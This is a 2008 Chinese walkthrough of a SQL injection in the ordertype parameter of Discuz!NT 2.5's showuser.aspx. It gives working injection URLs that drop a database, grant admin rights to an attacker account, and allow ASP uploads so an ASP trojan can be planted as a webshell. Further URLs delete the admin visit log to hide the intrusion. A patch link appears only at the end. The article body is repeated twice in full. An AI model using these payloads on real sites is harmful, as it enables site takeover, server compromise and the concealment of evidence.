Discuz!NT 2.5最新注入漏洞测试分析(图)
互联网 发布时间:2008-10-08 20:02:14 作者:佚名 我要评论
Discuz!NT是一款功能强大的基于ASP.net平台的BBS系统,占有不少的市场份额,特别是一些大中型专业社区都采用该系统。最近,ISTO成员在其最新的2.5版本中发现了一个安全漏洞,成功利用此漏洞可以直接修改管理员的密码进入后台,取得管理员权限,从而控制整个网站。下面笔者
Discuz!NT是一款功能强大的基于ASP.net平台的BBS系统,占有不少的市场份额,特别是一些大中型专业社区都采用该系统。最近,ISTO成员在其最新的2.5版本中发现了一个安全漏洞,成功利用此漏洞可以直接修改管理员的密码进入后台,取得管理员权限,从而控制整个网站。下面笔者部署环境解析该漏洞,以期引起大家的重视。
环境描述
操作系统:Windows 2003
Discuz!NT版本:2.5
URL:http://www.gslw.com
数据库:SQL Server 2005
1、漏洞起因
漏洞是由showuser.aspx文件引起的,该文件的作用是显示论坛的会员列表。由于脚本中对于用来用户排序的ordertype参数未经过滤而直接查询数据库,攻击者可以通过精心构造的ordertype参数进行数据库的写操作。(图1)
2、漏洞测试
判断Discuz!NT是否存在该漏洞,我们可以构造ordertype参数进程测试。下面代码的意思是删除gslw数据库,由于不存在gslw数据库因此会报错“无法对数据库'glsw'执行删除,因为它不存在,或者您没有所需的权限。”这就说明执行了数据库操作,我们可以根据错误信息判断是否存在该漏洞。我们构造的URl为
http://www.gslw.com/showuser.aspx?ordertype=desc;drop database glsw;--
显示的错误页面见图1,说明存在该漏洞。(图2)
3、用户提权
打开论坛注册一个用户为hacker的会员见图3,然后我们可以进行构造一段URL通过showuser.aspx的ordertype参数将hacker提升为管理员。构造的URL为“http://www.gslw.com/showuser.aspx?ordertype=desc;update dnt_users set adminid='1',groupid='1' where username='hacker';--”其作用就是将注册用户hacker的adminid和guoupid设置为1,也就是将其提升为管理员。将该URL输入浏览器地址栏回车后可以看到hacker被提升为管理员见图4。(图3)(图4)
hacker被提升为管理员后就可以登录系统后台进行各种操作了。Discuz!NT的后台功能确实比较强大,(图5)
4、更改上传格式
该漏洞除了可以提升管理员为,还可以更改默认的附件上传格式。默认情况下,Discuz!NT只支持jpg,gif,png,zip,rar,jpeg格式的附件上传,利用该漏洞可以将其中的某种格式替换为asp、aspx等可执行脚本的格式,从而获得一个Webshell。我们可以构造URL更改其上传文件格式,比如我们将jgp格式更改为aspx格式,就可以构造这样的URL“http://www.gslw.com/showuser.aspx?ordertype=desc;update dnt_attachtypes set extension='asp' where extension='jpg';--” ,最终的执行效果见图6。(图6)
5、获得Webshell
通过上面的操作我们就可以在任意一论坛版块下发表新主题 ,然后通过附件上传功能将以asp木马上传到服务器。上传完成后,在“我的附件”项下可以找到上传的asp木马,点击该asp网马就直接运行,登录后获得一个webshell。(图7)
6、清除痕迹
获得webshell后,就可以通过该漏洞构造URL清除痕迹,恢复Discuz!NT的默认状态。主要包括一下几项:
http://www.gslw.com/showuser.aspx?ordertype=desc;update dnt_attachtypes set extension='jpg' where extension='asp';-- 改回jpg格式
http://www.gslw.com/showuser.aspx?ordertype=desc;delete from dnt_adminvisitlog where username='hacker';-- 清除日志
http://www.gslw.com/showuser.aspx?ordertype=desc;update dnt_users set adminid='',groupid='' where username='hacker';-- hacker降权限
7、总结及防范
从上面的演示可以看到该漏洞对采用Discuz!NT的BBS威胁极大,攻击者不仅能够进入后台,而且可以获取webshell,进而渗透控制服务器。笔者上面演示用的是asp木马,如果用aspx木马其权限将更大,拿下服务器将会更容易。
针对此漏洞Discuz!NT官方提供了补丁,该补丁的地址为:
http://download.comsenz.com/DiscuzNT/patch/dnt_25_n2_patch20080829.zip
修正方法是将压缩包中的Discuz.Web.dll文件上传到bin目录,覆盖掉以前的文件。虽然Discuz!NT比较迅速地发布了补丁,但是笔者在此刻进行了安全测试,有相当多的采用Discuz!NT 2.5系统的BBS论坛依旧没有打该补丁。希望通过此文,能够引起大家对该漏洞的重视,尽快修复漏洞。
环境描述
操作系统:Windows 2003
Discuz!NT版本:2.5
URL:http://www.gslw.com
数据库:SQL Server 2005
1、漏洞起因
漏洞是由showuser.aspx文件引起的,该文件的作用是显示论坛的会员列表。由于脚本中对于用来用户排序的ordertype参数未经过滤而直接查询数据库,攻击者可以通过精心构造的ordertype参数进行数据库的写操作。(图1)
2、漏洞测试
判断Discuz!NT是否存在该漏洞,我们可以构造ordertype参数进程测试。下面代码的意思是删除gslw数据库,由于不存在gslw数据库因此会报错“无法对数据库'glsw'执行删除,因为它不存在,或者您没有所需的权限。”这就说明执行了数据库操作,我们可以根据错误信息判断是否存在该漏洞。我们构造的URl为
http://www.gslw.com/showuser.aspx?ordertype=desc;drop database glsw;--
显示的错误页面见图1,说明存在该漏洞。(图2)
3、用户提权
打开论坛注册一个用户为hacker的会员见图3,然后我们可以进行构造一段URL通过showuser.aspx的ordertype参数将hacker提升为管理员。构造的URL为“http://www.gslw.com/showuser.aspx?ordertype=desc;update dnt_users set adminid='1',groupid='1' where username='hacker';--”其作用就是将注册用户hacker的adminid和guoupid设置为1,也就是将其提升为管理员。将该URL输入浏览器地址栏回车后可以看到hacker被提升为管理员见图4。(图3)(图4)
hacker被提升为管理员后就可以登录系统后台进行各种操作了。Discuz!NT的后台功能确实比较强大,(图5)
4、更改上传格式
该漏洞除了可以提升管理员为,还可以更改默认的附件上传格式。默认情况下,Discuz!NT只支持jpg,gif,png,zip,rar,jpeg格式的附件上传,利用该漏洞可以将其中的某种格式替换为asp、aspx等可执行脚本的格式,从而获得一个Webshell。我们可以构造URL更改其上传文件格式,比如我们将jgp格式更改为aspx格式,就可以构造这样的URL“http://www.gslw.com/showuser.aspx?ordertype=desc;update dnt_attachtypes set extension='asp' where extension='jpg';--” ,最终的执行效果见图6。(图6)
5、获得Webshell
通过上面的操作我们就可以在任意一论坛版块下发表新主题 ,然后通过附件上传功能将以asp木马上传到服务器。上传完成后,在“我的附件”项下可以找到上传的asp木马,点击该asp网马就直接运行,登录后获得一个webshell。(图7)
6、清除痕迹
获得webshell后,就可以通过该漏洞构造URL清除痕迹,恢复Discuz!NT的默认状态。主要包括一下几项:
http://www.gslw.com/showuser.aspx?ordertype=desc;update dnt_attachtypes set extension='jpg' where extension='asp';-- 改回jpg格式
http://www.gslw.com/showuser.aspx?ordertype=desc;delete from dnt_adminvisitlog where username='hacker';-- 清除日志
http://www.gslw.com/showuser.aspx?ordertype=desc;update dnt_users set adminid='',groupid='' where username='hacker';-- hacker降权限
7、总结及防范
从上面的演示可以看到该漏洞对采用Discuz!NT的BBS威胁极大,攻击者不仅能够进入后台,而且可以获取webshell,进而渗透控制服务器。笔者上面演示用的是asp木马,如果用aspx木马其权限将更大,拿下服务器将会更容易。
针对此漏洞Discuz!NT官方提供了补丁,该补丁的地址为:
http://download.comsenz.com/DiscuzNT/patch/dnt_25_n2_patch20080829.zip
修正方法是将压缩包中的Discuz.Web.dll文件上传到bin目录,覆盖掉以前的文件。虽然Discuz!NT比较迅速地发布了补丁,但是笔者在此刻进行了安全测试,有相当多的采用Discuz!NT 2.5系统的BBS论坛依旧没有打该补丁。希望通过此文,能够引起大家对该漏洞的重视,尽快修复漏洞。
相关文章
- 偶尔在网上看到这些,拿来和大家一块看看,也好让各个站长懂得保护自己的网站2012-10-16
- 安全狗是一款大家熟悉的服务器安全加固产品,据称已经拥有50W的用户量。最近经过一些研究,发现安全狗的一些防护功能,例如SQL注入、文件上传、防webshell等都可以被绕过2014-07-17
VLC媒体播放器MP4_ReadBox_rdrf()函数堆溢出漏洞
受影响系统: VideoLAN VLC Media Player 0.8.6e 描述: VLC Media Player是一款免费的媒体播放器。 VLC播放器的modules/demux/mp4/libmp4.c文件中的MP4_Rea2008-10-08- 有点鸡肋,配合前几天公布的iis6文件名解析漏洞达到获取webshell的目的。2010-09-30
WordPress WassUp插件 spy.php脚本含SQL注入漏洞
受影响系统: WordPress WassUp 1.4 - 1.4.3 不受影响系统: WordPress WassUp 1.4.3a 描述: WordPress是一款免费的论坛Blog系统。 WordPress的WassUp插件2008-10-08eWebEditor 6.2 目录遍历漏洞(asp/browse.asp)
最新eWebEditor 6.2版本存在目录遍历漏洞,漏洞页面asp/browse.asp,可通过漏洞遍里特定目录下的所有文件列表.2010-05-13- 首发:红科网安 作者:Amxking 漏洞程序:dedecms5.5 测试对象:织梦网CMS官方网站 提交时间:2010-03-17 漏洞类型:信息泄露 危险等级:低2011-03-11
Ewebeditor2.8.0最终版删除任意文件漏洞分析与解决方法
此漏洞存在于ExampleNewsSystem目录下的delete.asp文件中,这是ewebeditor的测试页面,无须登陆可以直接进入,看这些代码: ' 把带"|"的字符串转为数组 Dim aS2009-04-18- 最新dedecms 5.6的注入代码: http://www.dedecms.com/plus/rss.php?tid=1&_Cs[][1]=1&_Cs[2%29%29%20AND%20%22%27%22%20AND%20updatexml%281,%28SELECT%22011-03-11
手把手教你如何构造Office漏洞POC(以CVE-2012-0158为例)
近年来APT追踪盛行,最常见的就是各种以钓鱼开始的攻击,不仅仅有网站挂马式钓鱼,也有鱼叉式邮件钓鱼,下面小编就为大家介绍office漏洞CVE-2012-0158,一起来看看吧2016-09-28
最新评论